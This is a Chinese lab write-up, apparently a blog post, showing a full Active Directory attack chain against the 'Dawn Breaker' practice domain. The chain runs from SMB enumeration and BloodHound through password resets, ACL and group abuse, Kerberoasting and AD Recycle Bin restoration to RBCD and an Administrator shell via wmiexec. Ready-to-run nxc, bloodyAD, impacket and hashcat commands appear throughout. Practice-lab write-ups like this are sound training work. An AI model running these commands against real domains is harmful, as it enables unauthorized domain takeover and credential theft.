首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Dawn Breaker 单域靶场 WP

Dawn Breaker 单域靶场 WP

原创
作者头像
网络安全棉花糖
修改2026-05-22 20:53:17
修改2026-05-22 20:53:17
10
举报

靶场来源:

无境靶场中内网靶场的 Dawn Breaker单域靶机

信息收集

SMB Welcome 可读

代码语言:javascript
复制
nxc smb 192.168.111.10 -u '' -p ' ' --shares
image-20260127155759208
image-20260127155759208

读取 Letter.txt 文件

image-20260127155929312
image-20260127155929312
image-20260127155946791
image-20260127155946791

将这个信息作为用户名和密码进行尝试

代码语言:javascript
复制
nxc smb 192.168.111.10 -u 'Yangyang' -p 'Hello' --shares
image-20260127160035430
image-20260127160035430

使用 bloodhound-python 进行信息收集

代码语言:javascript
复制
bloodhound-python -c All -u 'Yangyang' -p 'Hello' -ns 192.168.111.10 -d sec.lab -dc ad.sec.lab --zip --dns-tcp
image-20260127160552931
image-20260127160552931

但是线路到了 LAHAYO@SEC.LAB 就断开了,接着再分析是否有路线到达域控或者域管理员,看到有一个未知的节点可以RBCD到域控

image-20260127160819071
image-20260127160819071

第二条线路

image-20260127161005143
image-20260127161005143

经过分析发现 Rover 这个账户很特殊,它关联着一个计算机账户,SOLARIS@SEC.LAB 可以重置它的密码,但是现在还没有 SOLARIS@SEC.LAB 相关的信息

image-20260127161127087
image-20260127161127087
image-20260127161243989
image-20260127161243989

在目前这个情况下想要获取到 SOLARIS@SEC.LAB 有两个方法可以尝试:

  1. Pre-Created Computer Account
  2. Timeroasting

获取 SOLARIS@SEC.LAB 的控制权

发现 SOLARIS@SEC.LAB 其实是 Pre-Created Computer Account,利用之前的域账户就能获取到其 Kerberos 凭据,另外 Pre-Created Computer Account 的密码与账户名全小写一样

image-20260127161805204
image-20260127161805204
image-20260127162125299
image-20260127162125299

重置 SOLARIS@SEC.LAB 自身密码

代码语言:javascript
复制
impacket-changepasswd -altuser 'SOLARIS$' -altpass 'solaris' -newpass '123456' -reset 'sec.lab/SOLARIS$'@ad.sec.lab -k -dc-ip 192.168.111.10
image-20260127143528970
image-20260127143528970

获取 Rover 域用户的控制权

重置 Rover 的密码

代码语言:javascript
复制
bloodyAD -u 'Solaris$' -p '123456' -d sec.lab --host 192.168.111.10 set password Rover 123456
image-20260127162301651
image-20260127162301651

验证账户不成功,根据报错来判断账户还没启用

image-20260127162417942
image-20260127162417942

启用 Rover 账户

代码语言:javascript
复制
bloodyAD -u 'Solaris$' -p '123456' -d sec.lab --host 192.168.111.10 remove uac Rover -f ACCOUNTDISABLE
image-20260127162448345
image-20260127162448345

Jinzhou 安全组

AddSelf

Rover 用户是可以将自身加入 Jinzhou@SEC.LAB

代码语言:javascript
复制
bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab add groupMember Jinzhou Rover
image-20260127162613183
image-20260127162613183
image-20260127162715025
image-20260127162715025

AddSPN

image-20260127162811490
image-20260127162811490

根据ACL可以通过给图上四个用户添加 servicePrincipalName 来达到利用 kerberoasting 破解密码

代码语言:javascript
复制
bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 set object Jinxi servicePrincipalName -v 'http/web'
image-20260127163010676
image-20260127163010676
代码语言:javascript
复制
nxc ldap 192.168.111.10 -u 'Rover' -p '123456' --kerberoasting KERBEROASTING
image-20260127163036447
image-20260127163036447
代码语言:javascript
复制
hashcat KERBEROASTING /usr/share/wordlists/rockyou.txt
image-20260127163120546
image-20260127163120546

Black Shores 安全组

AddMember

image-20260127163215281
image-20260127163215281

根据 JINXI@SEC.LAB 的ACL,将 Rover 加入 Black ShoresI@SEC.LAB

代码语言:javascript
复制
bloodyAD -u 'Jinxi' -p 'Jinxin' --host ad -d sec.lab add groupMember 'Black Shores' Rover
image-20260127163330106
image-20260127163330106

WriteOwner

image-20260127163408351
image-20260127163408351

根据ACL,Black ShoresI@SEC.LAB 对 TheShorekeeper 有 WriteOwner 权限

PS:TheShorekeeper 用户是禁用状态,可以使用 nxc 或者 查询 userAccountControl 属性来验证,这里就略过了

代码语言:javascript
复制
bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab set owner TheShorekeeper Rover

bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab add genericAll TheShorekeeper Rover

bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab set password TheShorekeeper 123456

bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 remove uac TheShorekeeper -f ACCOUNTDISABLE
image-20260127163600093
image-20260127163600093

Lahayo 安全组

AddMember

image-20260127163736789
image-20260127163736789
代码语言:javascript
复制
bloodyAD -u 'TheShorekeeper' -p '123456' -d sec.lab --host 192.168.111.10 add groupMember Lahayo Rover
image-20260127163809083
image-20260127163809083

接下来就回到上面信息收集部分分析的路径,到这里就断开了,注意

  1. 其实这个场景不止两条路径到达最后的域控
  2. 下图这个节点到底是什么?它可以 RBCD 到域控
image-20260127164142496
image-20260127164142496
  1. 目前的路径无法获取下面的用户权限
image-20260127164057056
image-20260127164057056

Active Directory - Recycle Bin

Active Directory 回收站 是 Windows Server 的一项功能,允许在不从备份还原的情况下,完整恢复误删的 AD 对象。


核心特性

  • 完整恢复:恢复对象的所有属性(如 SID、组权限、密码)。
  • 生命周期
    1. 已删除状态 (Deleted):对象移入回收站,保留所有属性。
    2. 已回收状态 (Recycled):超过“已删除对象生存期”后,属性被剥离,不可简单恢复。
  • 默认状态:Windows Server 2008 R2 引入,默认禁用,需手动开启且不可逆。

恢复方式

  1. 图形界面:通过 AD 管理中心 (ADAC) 的 "Deleted Objects" 容器。
  2. 命令行:使用 PowerShell 命令 Restore-ADObject

查询是否有用户对 "Deleted Objects" 有权限

代码语言:javascript
复制
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 get writable
image-20260127164507287
image-20260127164507287

还发现了一个删除状态的用户

image-20260127164537834
image-20260127164537834

查询已删除用户的信息

代码语言:javascript
复制
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 get search -c '1.2.840.113556.1.4.2064' --filter '(isDeleted=TRUE)' --attr name,objectSid
image-20260127164606961
image-20260127164606961

Lynae 用户的 objectSid 刚好对于上了未知节点的SID

image-20260127164142496
image-20260127164142496

恢复已删除用户

代码语言:javascript
复制
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 set restore Lynae
image-20260127164640735
image-20260127164640735

重置已删除用户的密码和启用用户

代码语言:javascript
复制
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 set password Lynae '123456'

bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 remove uac Lynae -f ACCOUNTDISABLE
image-20260127164731312
image-20260127164731312

注意!!!

如果出现该报错,说明该用户对已删除对象不存在 LIST | READ 权限,WP 中先把 Rover 用户加入了 Lahayo 安全组,bloodhound 中没有实现对该 ACL 的分析,需要自己手动分析

image-20260127165012339
image-20260127165012339

RBCD

代码语言:javascript
复制
bloodyAD -u 'Lynae' -p '123456' -d sec.lab --host 192.168.111.10 add computer Web 123456

bloodyAD -u 'Lynae' -p '123456' -d sec.lab --host 192.168.111.10 add rbcd 'AD$' 'Web$'
image-20260127165216752
image-20260127165216752
代码语言:javascript
复制
impacket-getST -spn 'CIFS/AD' -impersonate 'Administrator' 'sec.lab/Web$:123456' -k -dc-ip 192.168.111.10

export KRB5CCNAME=Administrator@CIFS_AD@SEC.LAB.ccache

impacket-wmiexec -k -no-pass AD -dc-ip 192.168.111.10 -codec gbk
image-20260127165521643
image-20260127165521643

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶场来源:
  • 信息收集
    • SMB Welcome 可读
    • 读取 Letter.txt 文件
    • 使用 bloodhound-python 进行信息收集
    • 第二条线路
    • 获取 SOLARIS@SEC.LAB 的控制权
      • 重置 SOLARIS@SEC.LAB 自身密码
    • 获取 Rover 域用户的控制权
      • 重置 Rover 的密码
      • 启用 Rover 账户
    • Jinzhou 安全组
      • AddSelf
      • AddSPN
    • Black Shores 安全组
      • AddMember
      • WriteOwner
    • Lahayo 安全组
      • AddMember
    • Active Directory - Recycle Bin
      • 核心特性
      • 恢复方式
      • 查询是否有用户对 "Deleted Objects" 有权限
      • 查询已删除用户的信息
      • 恢复已删除用户
      • 重置已删除用户的密码和启用用户
      • 注意!!!
      • RBCD
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档